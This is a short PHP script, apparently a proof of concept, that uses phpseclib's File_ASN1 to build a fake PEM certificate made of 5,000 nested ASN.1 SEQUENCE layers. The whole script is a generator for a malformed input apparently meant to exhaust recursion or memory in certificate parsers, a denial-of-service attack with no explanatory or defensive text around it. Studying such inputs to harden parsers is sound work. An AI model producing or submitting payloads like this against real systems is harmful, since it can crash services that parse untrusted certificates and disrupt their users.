<?php
include('File/ASN1.php');

$asn1 = new File_ASN1();
$output = chr(FILE_ASN1_TYPE_NULL) . "\x00";
for ($i = 0; $i < 5000; $i++) {
    $output = chr(FILE_ASN1_TYPE_SEQUENCE | 0x20) . $asn1->_encodeLength(strlen($output)) . $output;
}
echo "-----BEGIN CERTIFICATE-----\r\n" . chunk_split(base64_encode($output)) . '-----END CERTIFICATE-----';